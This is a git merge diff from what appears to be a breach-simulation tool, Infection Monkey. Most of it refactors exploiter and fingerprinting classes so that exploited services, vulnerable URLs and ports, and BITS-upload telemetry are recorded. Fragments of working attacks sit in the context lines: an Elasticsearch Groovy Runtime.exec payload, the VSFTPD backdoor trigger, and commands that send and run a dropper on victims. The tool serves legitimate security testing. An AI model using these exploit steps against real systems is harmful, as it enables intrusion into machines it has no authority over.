Merge branch 'develop' into feature/325-notification-when-done

This commit is contained in:
Shay Nehmad 2019-06-12 19:32:29 +03:00
commit 6480cfe232
53 changed files with 4569 additions and 3723 deletions

View File

@ -8,3 +8,14 @@ class ScanStatus(Enum):
SCANNED = 1 SCANNED = 1
# Technique was attempted and succeeded # Technique was attempted and succeeded
USED = 2 USED = 2
# Dict that describes what BITS job was used for
BITS_UPLOAD_STRING = {"usage": "BITS job was used to upload monkey to a remote system."}
def format_time(time):
return "%s-%s %s:%s:%s" % (time.date().month,
time.date().day,
time.time().hour,
time.time().minute,
time.time().second)

View File

@ -0,0 +1,10 @@
# abstract, static method decorator
class abstractstatic(staticmethod):
__slots__ = ()
def __init__(self, function):
super(abstractstatic, self).__init__(function)
function.__isabstractmethod__ = True
__isabstractmethod__ = True

View File

@ -1,4 +1,4 @@
from abc import ABCMeta, abstractmethod from abc import ABCMeta, abstractmethod, abstractproperty
import infection_monkey.config import infection_monkey.config
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
@ -13,9 +13,15 @@ class HostExploiter(object):
# Usual values are 'vulnerability' or 'brute_force' # Usual values are 'vulnerability' or 'brute_force'
EXPLOIT_TYPE = ExploitType.VULNERABILITY EXPLOIT_TYPE = ExploitType.VULNERABILITY
@abstractproperty
def _EXPLOITED_SERVICE(self):
pass
def __init__(self, host): def __init__(self, host):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
self._exploit_info = {} self._exploit_info = {'display_name': self._EXPLOITED_SERVICE,
'vulnerable_urls': [],
'vulnerable_ports': []}
self._exploit_attempts = [] self._exploit_attempts = []
self.host = host self.host = host
@ -37,6 +43,12 @@ class HostExploiter(object):
def exploit_host(self): def exploit_host(self):
raise NotImplementedError() raise NotImplementedError()
def add_vuln_url(self, url):
self._exploit_info['vulnerable_urls'].append(url)
def add_vuln_port(self, port):
self._exploit_info['vulnerable_ports'].append(port)
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.wmiexec import WmiExploiter

View File

@ -11,6 +11,8 @@ from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
DOWNLOAD_TIMEOUT DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
import re import re
@ -27,6 +29,7 @@ class ElasticGroovyExploiter(WebRCE):
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
_TARGET_OS_TYPE = ['linux', 'windows'] _TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Elastic search'
def __init__(self, host): def __init__(self, host):
super(ElasticGroovyExploiter, self).__init__(host) super(ElasticGroovyExploiter, self).__init__(host)
@ -58,6 +61,12 @@ class ElasticGroovyExploiter(WebRCE):
return False return False
return result[0] return result[0]
def upload_monkey(self, url, commands=None):
result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands)
if 'windows' in self.host.os['type'] and result:
VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING).send()
return result
def get_results(self, response): def get_results(self, response):
""" """
Extracts the result data from our attack Extracts the result data from our attack

View File

@ -21,6 +21,7 @@ LOG = logging.getLogger(__name__)
class HadoopExploiter(WebRCE): class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows'] _TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Hadoop'
HADOOP_PORTS = [["8088", False]] HADOOP_PORTS = [["8088", False]]
# How long we have our http server open for downloads in seconds # How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 60 DOWNLOAD_TIMEOUT = 60

View File

@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter): class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = 'MSSQL'
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
LOGIN_TIMEOUT = 15 LOGIN_TIMEOUT = 15

View File

@ -17,6 +17,8 @@ from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.utils import utf_to_ascii from infection_monkey.utils import utf_to_ascii
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
__author__ = 'hoffer' __author__ = 'hoffer'
@ -237,6 +239,7 @@ class RdpExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'RDP'
def __init__(self, host): def __init__(self, host):
super(RdpExploiter, self).__init__(host) super(RdpExploiter, self).__init__(host)
@ -312,6 +315,9 @@ class RdpExploiter(HostExploiter):
client_factory.done_event.wait() client_factory.done_event.wait()
if client_factory.success: if client_factory.success:
if not self._config.rdp_use_vbs_download:
VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING).send()
self.add_vuln_port(RDP_PORT)
exploited = True exploited = True
self.report_login_attempt(True, user, password) self.report_login_attempt(True, user, password)
break break

View File

@ -4,7 +4,6 @@ import posixpath
import re import re
import time import time
from io import BytesIO from io import BytesIO
from os import path
import impacket.smbconnection import impacket.smbconnection
from impacket.nmb import NetBIOSError from impacket.nmb import NetBIOSError
@ -35,6 +34,7 @@ class SambaCryExploiter(HostExploiter):
""" """
_TARGET_OS_TYPE = ['linux'] _TARGET_OS_TYPE = ['linux']
_EXPLOITED_SERVICE = "Samba"
# Name of file which contains the monkey's commandline # Name of file which contains the monkey's commandline
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt" SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
# Name of file which contains the runner's result # Name of file which contains the runner's result
@ -51,6 +51,8 @@ class SambaCryExploiter(HostExploiter):
SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2" SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2"
# Monkey copy filename on share (64 bit) # Monkey copy filename on share (64 bit)
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2" SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
# Supported samba port
SAMBA_PORT = 445
def __init__(self, host): def __init__(self, host):
super(SambaCryExploiter, self).__init__(host) super(SambaCryExploiter, self).__init__(host)
@ -80,6 +82,11 @@ class SambaCryExploiter(HostExploiter):
trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash']) trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash'])
if trigger_result is not None: if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result)) successfully_triggered_shares.append((share, trigger_result))
url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {'username': creds['username'],
'host': self.host.ip_addr,
'port': self.SAMBA_PORT,
'share_name': share}
self.add_vuln_url(url)
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share]) self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
for share, fullpath in successfully_triggered_shares: for share, fullpath in successfully_triggered_shares:
@ -89,6 +96,7 @@ class SambaCryExploiter(HostExploiter):
LOG.info( LOG.info(
"Shares triggered successfully on host %s: %s" % ( "Shares triggered successfully on host %s: %s" % (
self.host.ip_addr, str(successfully_triggered_shares))) self.host.ip_addr, str(successfully_triggered_shares)))
self.add_vuln_port(self.SAMBA_PORT)
return True return True
else: else:
LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr) LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)

View File

@ -26,6 +26,7 @@ class ShellShockExploiter(HostExploiter):
} }
_TARGET_OS_TYPE = ['linux'] _TARGET_OS_TYPE = ['linux']
_EXPLOITED_SERVICE = 'Bash'
def __init__(self, host): def __init__(self, host):
super(ShellShockExploiter, self).__init__(host) super(ShellShockExploiter, self).__init__(host)
@ -143,7 +144,6 @@ class ShellShockExploiter(HostExploiter):
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run") LOG.info("Log file does not exist, monkey might not have run")
continue continue
return True return True
return False return False

View File

@ -17,6 +17,7 @@ LOG = getLogger(__name__)
class SmbExploiter(HostExploiter): class SmbExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'SMB'
KNOWN_PROTOCOLS = { KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
@ -68,6 +69,8 @@ class SmbExploiter(HostExploiter):
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)", LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
self.host, user, password, lm_hash, ntlm_hash) self.host, user, password, lm_hash, ntlm_hash)
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
exploited = True exploited = True
break break
else: else:
@ -137,4 +140,6 @@ class SmbExploiter(HostExploiter):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, self.host, cmdline) remote_full_path, self.host, cmdline)
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
return True return True

View File

@ -22,6 +22,7 @@ TRANSFER_UPDATE_RATE = 15
class SSHExploiter(HostExploiter): class SSHExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', None] _TARGET_OS_TYPE = ['linux', None]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'SSH'
def __init__(self, host): def __init__(self, host):
super(SSHExploiter, self).__init__(host) super(SSHExploiter, self).__init__(host)
@ -81,6 +82,7 @@ class SSHExploiter(HostExploiter):
LOG.debug("Successfully logged in %r using SSH (%s : %s)", LOG.debug("Successfully logged in %r using SSH (%s : %s)",
self.host, user, curpass) self.host, user, curpass)
exploited = True exploited = True
self.add_vuln_port(port)
self.report_login_attempt(True, user, curpass) self.report_login_attempt(True, user, curpass)
break break

View File

@ -21,6 +21,7 @@ DOWNLOAD_TIMEOUT = 300
class Struts2Exploiter(WebRCE): class Struts2Exploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows'] _TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Struts2'
def __init__(self, host): def __init__(self, host):
super(Struts2Exploiter, self).__init__(host, None) super(Struts2Exploiter, self).__init__(host, None)

View File

@ -4,19 +4,12 @@
only vulnerable version is "2.3.4" only vulnerable version is "2.3.4"
""" """
import StringIO
import logging
import paramiko
import socket import socket
import time import time
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.web_rce import WebRCE
from logging import getLogger from logging import getLogger
LOG = getLogger(__name__) LOG = getLogger(__name__)
@ -33,10 +26,12 @@ USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to tri
PASSWORD = b'PASS please' # Ftp Password PASSWORD = b'PASS please' # Ftp Password
FTP_TIME_BUFFER = 1 # In seconds FTP_TIME_BUFFER = 1 # In seconds
class VSFTPDExploiter(HostExploiter): class VSFTPDExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux'] _TARGET_OS_TYPE = ['linux']
_EXPLOITED_SERVICE = 'VSFTPD'
def __init__ (self, host): def __init__(self, host):
self._update_timestamp = 0 self._update_timestamp = 0
super(VSFTPDExploiter, self).__init__(host) super(VSFTPDExploiter, self).__init__(host)
self.skip_exist = self._config.skip_exploit_if_file_exist self.skip_exist = self._config.skip_exploit_if_file_exist
@ -78,7 +73,7 @@ class VSFTPDExploiter(HostExploiter):
ftp_socket.close() ftp_socket.close()
LOG.info('Backdoor Enabled, Now we can run commands') LOG.info('Backdoor Enabled, Now we can run commands')
else: else:
LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr)
return False return False
LOG.info('Attempting to connect to backdoor...') LOG.info('Attempting to connect to backdoor...')
@ -96,7 +91,7 @@ class VSFTPDExploiter(HostExploiter):
# command execution is successful # command execution is successful
self.host.os['machine'] = response.lower().strip() self.host.os['machine'] = response.lower().strip()
self.host.os['type'] = 'linux' self.host.os['type'] = 'linux'
else : else:
LOG.info("Failed to execute command uname -m on victim %r ", self.host) LOG.info("Failed to execute command uname -m on victim %r ", self.host)
src_path = get_target_monkey(self.host) src_path = get_target_monkey(self.host)
@ -136,14 +131,13 @@ class VSFTPDExploiter(HostExploiter):
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters} run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
# Set unlimited to memory # Set unlimited to memory
run_monkey = ULIMIT_V + UNLIMITED + run_monkey # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
run_monkey = ULIMIT_V + UNLIMITED + run_monkey
run_monkey = str.encode(str(run_monkey) + '\n') run_monkey = str.encode(str(run_monkey) + '\n')
time.sleep(FTP_TIME_BUFFER) time.sleep(FTP_TIME_BUFFER)
if backdoor_socket.send(run_monkey): if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
self.host, run_monkey)
return True return True
else: else:
return False return False

View File

@ -7,6 +7,8 @@ from infection_monkey.exploit import HostExploiter
from infection_monkey.model import * from infection_monkey.model import *
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
__author__ = 'VakarisZ' __author__ = 'VakarisZ'
@ -207,13 +209,12 @@ class WebRCE(HostExploiter):
""" """
for url in urls: for url in urls:
if self.check_if_exploitable(url): if self.check_if_exploitable(url):
self.add_vuln_url(url)
self.vulnerable_urls.append(url) self.vulnerable_urls.append(url)
if stop_checking: if stop_checking:
break break
if not self.vulnerable_urls: if not self.vulnerable_urls:
LOG.info("No vulnerable urls found, skipping.") LOG.info("No vulnerable urls found, skipping.")
# We add urls to param used in reporting
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
def get_host_arch(self, url): def get_host_arch(self, url):
""" """
@ -307,6 +308,7 @@ class WebRCE(HostExploiter):
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.") LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING).send()
resp = self.exploit(url, backup_command) resp = self.exploit(url, backup_command)
return resp return resp

View File

@ -44,6 +44,7 @@ HEADERS = {
class WebLogicExploiter(WebRCE): class WebLogicExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows'] _TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
def __init__(self, host): def __init__(self, host):
super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh', super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
@ -67,6 +68,7 @@ class WebLogicExploiter(WebRCE):
except Exception as e: except Exception as e:
print('[!] Connection Error') print('[!] Connection Error')
print(e) print(e)
return True return True
def add_vulnerable_urls(self, urls, stop_checking=False): def add_vulnerable_urls(self, urls, stop_checking=False):

View File

@ -17,6 +17,7 @@ LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter): class WmiExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)'
def __init__(self, host): def __init__(self, host):
super(WmiExploiter, self).__init__(host) super(WmiExploiter, self).__init__(host)
@ -103,6 +104,8 @@ class WmiExploiter(HostExploiter):
if (0 != result.ProcessId) and (0 == result.ReturnValue): if (0 != result.ProcessId) and (0 == result.ReturnValue):
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline) remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
self.add_vuln_port(port='unknown')
success = True success = True
else: else:
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",

View File

@ -158,7 +158,7 @@ class InfectionMonkey(object):
finger.get_host_fingerprint(machine) finger.get_host_fingerprint(machine)
ControlClient.send_telemetry('scan', {'machine': machine.as_dict(), ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
}) 'service_count': len(machine.services)})
# skip machines that we've already exploited # skip machines that we've already exploited
if machine in self._exploited_machines: if machine in self._exploited_machines:
@ -186,11 +186,9 @@ class InfectionMonkey(object):
for exploiter in [exploiter(machine) for exploiter in self._exploiters]: for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
if self.try_exploiting(machine, exploiter): if self.try_exploiting(machine, exploiter):
host_exploited = True host_exploited = True
VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send()
break break
if not host_exploited: if not host_exploited:
self._fail_exploitation_machines.add(machine) self._fail_exploitation_machines.add(machine)
VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send()
if not self._keep_running: if not self._keep_running:
break break

View File

@ -1,4 +1,4 @@
from abc import ABCMeta, abstractmethod from abc import ABCMeta, abstractmethod, abstractproperty
__author__ = 'itamar' __author__ = 'itamar'
@ -14,10 +14,20 @@ class HostScanner(object):
class HostFinger(object): class HostFinger(object):
__metaclass__ = ABCMeta __metaclass__ = ABCMeta
@abstractproperty
def _SCANNED_SERVICE(self):
pass
def init_service(self, services, service_key, port):
services[service_key] = {}
services[service_key]['display_name'] = self._SCANNED_SERVICE
services[service_key]['port'] = port
@abstractmethod @abstractmethod
def get_host_fingerprint(self, host): def get_host_fingerprint(self, host):
raise NotImplementedError() raise NotImplementedError()
from infection_monkey.network.ping_scanner import PingScanner from infection_monkey.network.ping_scanner import PingScanner
from infection_monkey.network.tcp_scanner import TcpScanner from infection_monkey.network.tcp_scanner import TcpScanner
from infection_monkey.network.smbfinger import SMBFinger from infection_monkey.network.smbfinger import SMBFinger

View File

@ -20,6 +20,7 @@ class ElasticFinger(HostFinger):
""" """
Fingerprints elastic search clusters, only on port 9200 Fingerprints elastic search clusters, only on port 9200
""" """
_SCANNED_SERVICE = 'Elastic search'
def __init__(self): def __init__(self):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
@ -35,7 +36,7 @@ class ElasticFinger(HostFinger):
url = 'http://%s:%s/' % (host.ip_addr, ES_PORT) url = 'http://%s:%s/' % (host.ip_addr, ES_PORT)
with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as req: with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as req:
data = json.loads(req.text) data = json.loads(req.text)
host.services[ES_SERVICE] = {} self.init_service(host.services, ES_SERVICE, ES_PORT)
host.services[ES_SERVICE]['cluster_name'] = data['cluster_name'] host.services[ES_SERVICE]['cluster_name'] = data['cluster_name']
host.services[ES_SERVICE]['name'] = data['name'] host.services[ES_SERVICE]['name'] = data['name']
host.services[ES_SERVICE]['version'] = data['version']['number'] host.services[ES_SERVICE]['version'] = data['version']['number']

View File

@ -10,6 +10,7 @@ class HTTPFinger(HostFinger):
""" """
Goal is to recognise HTTP servers, where what we currently care about is apache. Goal is to recognise HTTP servers, where what we currently care about is apache.
""" """
_SCANNED_SERVICE = 'HTTP'
def __init__(self): def __init__(self):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
@ -36,7 +37,7 @@ class HTTPFinger(HostFinger):
with closing(head(url, verify=False, timeout=1)) as req: with closing(head(url, verify=False, timeout=1)) as req:
server = req.headers.get('Server') server = req.headers.get('Server')
ssl = True if 'https://' in url else False ssl = True if 'https://' in url else False
host.services['tcp-' + port[1]] = {} self.init_service(host.services, ('tcp-' + port[1]), port[0])
host.services['tcp-' + port[1]]['name'] = 'http' host.services['tcp-' + port[1]]['name'] = 'http'
host.services['tcp-' + port[1]]['data'] = (server,ssl) host.services['tcp-' + port[1]]['data'] = (server,ssl)
LOG.info("Port %d is open on host %s " % (port[0], host)) LOG.info("Port %d is open on host %s " % (port[0], host))

View File

@ -16,7 +16,7 @@ class MSSQLFinger(HostFinger):
SQL_BROWSER_DEFAULT_PORT = 1434 SQL_BROWSER_DEFAULT_PORT = 1434
BUFFER_SIZE = 4096 BUFFER_SIZE = 4096
TIMEOUT = 5 TIMEOUT = 5
SERVICE_NAME = 'MSSQL' _SCANNED_SERVICE = 'MSSQL'
def __init__(self): def __init__(self):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
@ -63,7 +63,7 @@ class MSSQLFinger(HostFinger):
sock.close() sock.close()
return False return False
host.services[self.SERVICE_NAME] = {} self.init_service(host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT)
# Loop through the server data # Loop through the server data
instances_list = data[3:].decode().split(';;') instances_list = data[3:].decode().split(';;')
@ -71,12 +71,11 @@ class MSSQLFinger(HostFinger):
for instance in instances_list: for instance in instances_list:
instance_info = instance.split(';') instance_info = instance.split(';')
if len(instance_info) > 1: if len(instance_info) > 1:
host.services[self.SERVICE_NAME][instance_info[1]] = {} host.services[self._SCANNED_SERVICE][instance_info[1]] = {}
for i in range(1, len(instance_info), 2): for i in range(1, len(instance_info), 2):
# Each instance's info is nested under its own name, if there are multiple instances # Each instance's info is nested under its own name, if there are multiple instances
# each will appear under its own name # each will appear under its own name
host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i] host.services[self._SCANNED_SERVICE][instance_info[1]][instance_info[i - 1]] = instance_info[i]
# Close the socket # Close the socket
sock.close() sock.close()

View File

@ -8,7 +8,6 @@ from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_
MYSQL_PORT = 3306 MYSQL_PORT = 3306
SQL_SERVICE = 'mysqld-3306' SQL_SERVICE = 'mysqld-3306'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -16,7 +15,7 @@ class MySQLFinger(HostFinger):
""" """
Fingerprints mysql databases, only on port 3306 Fingerprints mysql databases, only on port 3306
""" """
_SCANNED_SERVICE = 'MySQL'
SOCKET_TIMEOUT = 0.5 SOCKET_TIMEOUT = 0.5
HEADER_SIZE = 4 # in bytes HEADER_SIZE = 4 # in bytes
@ -52,14 +51,13 @@ class MySQLFinger(HostFinger):
version, curpos = struct_unpack_tracker_string(data, curpos) # special coded to solve string parsing version, curpos = struct_unpack_tracker_string(data, curpos) # special coded to solve string parsing
version = version[0] version = version[0]
host.services[SQL_SERVICE] = {} self.init_service(host.services, SQL_SERVICE, MYSQL_PORT)
host.services[SQL_SERVICE]['version'] = version host.services[SQL_SERVICE]['version'] = version
version = version.split('-')[0].split('.') version = version.split('-')[0].split('.')
host.services[SQL_SERVICE]['major_version'] = version[0] host.services[SQL_SERVICE]['major_version'] = version[0]
host.services[SQL_SERVICE]['minor_version'] = version[1] host.services[SQL_SERVICE]['minor_version'] = version[1]
host.services[SQL_SERVICE]['build_version'] = version[2] host.services[SQL_SERVICE]['build_version'] = version[2]
thread_id, curpos = struct_unpack_tracker(data, curpos, "<I") # ignore thread id thread_id, curpos = struct_unpack_tracker(data, curpos, "<I") # ignore thread id
# protocol parsing taken from # protocol parsing taken from
# https://nmap.org/nsedoc/scripts/mysql-info.html # https://nmap.org/nsedoc/scripts/mysql-info.html
if protocol == 10: if protocol == 10:

View File

@ -1,11 +1,9 @@
import logging
import time import time
from common.network.network_range import * from common.network.network_range import *
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration
from infection_monkey.network.info import local_ips, get_interfaces_ranges from infection_monkey.network.info import local_ips, get_interfaces_ranges
from infection_monkey.model import VictimHost from infection_monkey.model import VictimHost
from infection_monkey.network import HostScanner
from infection_monkey.network import TcpScanner, PingScanner from infection_monkey.network import TcpScanner, PingScanner
__author__ = 'itamar' __author__ = 'itamar'
@ -66,7 +64,6 @@ class NetworkScanner(object):
def get_victim_machines(self, max_find=5, stop_callback=None): def get_victim_machines(self, max_find=5, stop_callback=None):
""" """
Finds machines according to the ranges specified in the object Finds machines according to the ranges specified in the object
:param scan_type: A hostscanner class, will be instanced and used to scan for new machines
:param max_find: Max number of victims to find regardless of ranges :param max_find: Max number of victims to find regardless of ranges
:param stop_callback: A callback to check at any point if we should stop scanning :param stop_callback: A callback to check at any point if we should stop scanning
:return: yields a sequence of VictimHost instances :return: yields a sequence of VictimHost instances

View File

@ -20,6 +20,9 @@ LOG = logging.getLogger(__name__)
class PingScanner(HostScanner, HostFinger): class PingScanner(HostScanner, HostFinger):
_SCANNED_SERVICE = ''
def __init__(self): def __init__(self):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
self._devnull = open(os.devnull, "w") self._devnull = open(os.devnull, "w")

View File

@ -100,6 +100,8 @@ class SMBSessionFingerData(Packet):
class SMBFinger(HostFinger): class SMBFinger(HostFinger):
_SCANNED_SERVICE = 'SMB'
def __init__(self): def __init__(self):
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration
self._config = WormConfiguration self._config = WormConfiguration
@ -112,7 +114,7 @@ class SMBFinger(HostFinger):
s.settimeout(0.7) s.settimeout(0.7)
s.connect((host.ip_addr, SMB_PORT)) s.connect((host.ip_addr, SMB_PORT))
host.services[SMB_SERVICE] = {} self.init_service(host.services, SMB_SERVICE, SMB_PORT)
h = SMBHeader(cmd="\x72", flag1="\x18", flag2="\x53\xc8") h = SMBHeader(cmd="\x72", flag1="\x18", flag2="\x53\xc8")
n = SMBNego(data=SMBNegoFingerData()) n = SMBNego(data=SMBNegoFingerData())
@ -150,7 +152,6 @@ class SMBFinger(HostFinger):
host.os['version'] = os_version host.os['version'] = os_version
else: else:
host.services[SMB_SERVICE]['os-version'] = os_version host.services[SMB_SERVICE]['os-version'] = os_version
return True return True
except Exception as exc: except Exception as exc:
LOG.debug("Error getting smb fingerprint: %s", exc) LOG.debug("Error getting smb fingerprint: %s", exc)

View File

